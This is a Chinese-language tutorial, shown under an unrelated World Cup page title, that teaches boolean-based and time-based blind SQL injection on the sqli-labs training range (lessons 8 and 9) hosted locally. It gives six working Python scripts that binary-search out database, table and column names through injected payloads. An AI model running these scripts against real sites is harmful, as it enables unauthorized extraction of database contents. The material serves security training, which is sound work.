世界杯中国队_南非世界杯决赛 - edmwhy.com

sql注入之盲注(bool盲注,时间盲注)

bool盲注

使用场景:

当页面不会返回明确的数据库错误信息 ，但能通过页面内容/状态的差异间接判断SQL语句执行结果时。

原理:

攻击者通过构造布尔条件 （如 AND 1=1、OR 1=2），观察页面的响应差异。

通过逐字符猜测目标数据（如数据库名、表名、字段值），结合二分法或穷举法缩小范围。

案例:

sqli-labs---第八关:通过bool盲注获取数据库名字, 以及其中的表面,和字段名

目标地址:127.0.0.1:8080/less-8/index.php (本地部署的靶场)

1.通过脚本获取数据库名

python

复制代码

import requests

def inject_database(url):

result = ''

for i in range(1, 50):

ascii_low = 32

ascii_high = 128

mid = (ascii_high + ascii_low)//2

while ascii_low < ascii_high:

payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)

res= {"id": payload}

r = requests.get(url, params=res)

if "You are in..........." in r.text:

ascii_low = mid + 1

else:

ascii_high = mid

mid = (ascii_low + ascii_high)//2

if mid == 32:

break

result += chr(mid)

print(result)

if __name__ == '__main__':

url = "http://127.0.0.1:8080/less-8/index.php"

inject_database(url)

运行结果:

2. 获取此数据库的所有表名

python

复制代码

import request

def inject_tables(url, database_name):

for table_index in range(0, 10): # 假设最多有10张表

result = ''

for i in range(1, 50): # 假设表名长度不超过50个字符

ascii_low = 32

ascii_high = 128

mid = (ascii_high + ascii_low) // 2

while ascii_low < ascii_high:

# 修改payload以查询表名，并调整LIMIT的offset

payload = f"1' and ascii(substr((select table_name from information_schema.tables where table_schema='{database_name}' limit {table_index},1), {i}, 1)) > {mid}-- "

res = {"id": payload}

r = requests.get(url, params=res)

if "You are in..........." in r.text:

ascii_low = mid + 1

else:

ascii_high = mid

mid = (ascii_low + ascii_high) // 2

if mid == 32:

break

result += chr(mid)

print(result)

if result: # 表存在

print("---------------------")

else:

break # 如果没有更多的表，退出循环

if __name__ == '__main__':

url = "http://127.0.0.1:8080/less-8/index.php"

#inject_database(url)

inject_tables(url,"security")

3.获取users表中的所有列名

python

复制代码

import request

def inject_columns(url, database_name, table_name):

for column_index in range(0, 10): # 假设最多有10列

result = ''

for i in range(1, 50): # 假设列名长度不超过50个字符

ascii_low = 32

ascii_high = 128

mid = (ascii_high + ascii_low) // 2

while ascii_low < ascii_high:

# 修改payload以查询列名，并调整LIMIT的offset

payload = f"1' and ascii(substr((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{table_name}' limit {column_index},1), {i}, 1)) > {mid}-- "

res = {"id": payload}

r = requests.get(url, params=res)

if "You are in..........." in r.text:

ascii_low = mid + 1

else:

ascii_high = mid

mid = (ascii_low + ascii_high) // 2

if mid == 32:

break

result += chr(mid)

print(result)

if result: # 列存在

print("---------------------")

else:

break # 如果没有更多的列，退出循环

if __name__ == '__main__':

url = "http://127.0.0.1:8080/less-8/index.php"

#inject_database(url)

#inject_tables(url,"security")

inject_columns(url,"security","users")

这三者主要就是修改一下payload,代码很简单, 主要是二分查找与sql语句.

时间盲注

使用场景:

当页面完全无任何回显差异（内容、状态码均无变化），但数据库支持时间延迟函数时。

原理:

攻击者注入包含时间延迟函数 的SQL语句（如 SLEEP()、BENCHMARK()），通过响应时间差异判断条件真假。

通过条件语句控制延迟是否触发，逐位提取数据。

案例:

sqli-labs---第九关:通过时间盲注获取数据库名字, 以及其中的表面,和字段名

目标: http://127.0.0.1:8080/less-9/index.php?id=1

页面回显无法通过比较判断,支持sleep()函数, 所以用时间盲注

1.获取数据库名

相比bool盲注, sql主要是用if,sleep(),python代码用了time函数

python

复制代码

import time

import requests

def inject_database(url):

result = ''

for i in range(1, 50):

ascii_low = 32

ascii_high = 128

mid = (ascii_high + ascii_low) // 2

while ascii_low < ascii_high:

payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(2), 0)-- " % (i, mid)

res = {"id": payload}

start_time = time.time()

r = requests.get(url, params=res)

end_time = time.time()

res_time = end_time - start_time

if res_time >= 2:

ascii_low = mid + 1

else:

ascii_high = mid

mid = (ascii_low + ascii_high) // 2

if mid == 32:

break

result += chr(mid)

print(result)

if __name__ == '__main__':

url = 'http://127.0.0.1:8080/less-9/index.php'

inject_database(url)

2.获取表名

python

复制代码

import time

import requests

def inject_table(url, database_name):

for table_index in range(0, 10): # 假设最多有10张表

result = ''

for i in range(1, 50): # 假设表名长度不超过50个字符

ascii_low = 32

ascii_high = 128

mid = (ascii_high + ascii_low) // 2

while ascii_low < ascii_high:

# 修改payload以查询表名，并调整LIMIT的offset

payload = f"1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{database_name}' limit {table_index},1), {i}, 1)) > {mid}, sleep(2), 0)-- "

res = {"id": payload}

start_time = time.time()

r = requests.get(url, params=res)

res_time = time.time() - start_time

if res_time > 2:

ascii_low = mid + 1

else:

ascii_high = mid

mid = (ascii_low + ascii_high) // 2

if mid == 32:

break

result += chr(mid)

print(result)

if result: # 表存在

print("---------------------")

else:

break # 如果没有更多的表，退出循环

if __name__ == '__main__':

url = 'http://127.0.0.1:8080/less-9/index.php'

#inject_database(url)

inject_table(url,'security')

速度很慢

3.获取emails表中的所有字段名

python

复制代码

import time

import requests

def inject_columns(url, database_name, table_name):

for column_index in range(0, 10): # 假设最多有10列

result = ''

for i in range(1, 50): # 假设列名长度不超过50个字符

ascii_low = 32

ascii_high = 128

mid = (ascii_high + ascii_low) // 2

while ascii_low < ascii_high:

# 修改payload以查询列名，并调整LIMIT的offset

payload = f"1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{table_name}' limit {column_index},1), {i}, 1)) > {mid}, sleep(2), 0)-- "

res = {"id": payload}

s_time = time.time()

r = requests.get(url, params=res)

r_time = time.time() - s_time

if r_time>2:

ascii_low = mid + 1

else:

ascii_high = mid

mid = (ascii_low + ascii_high) // 2

if mid == 32:

break

result += chr(mid)

print(result)

if result: # 列存在

print("---------------------")

else:

break # 如果没有更多的列，退出循环

if __name__ == '__main__':

url = 'http://127.0.0.1:8080/less-9/index.php'

#inject_database(url)

#inject_table(url,'security')

inject_columns(url,'security','emails')

就此,时间盲注和bool盲注结束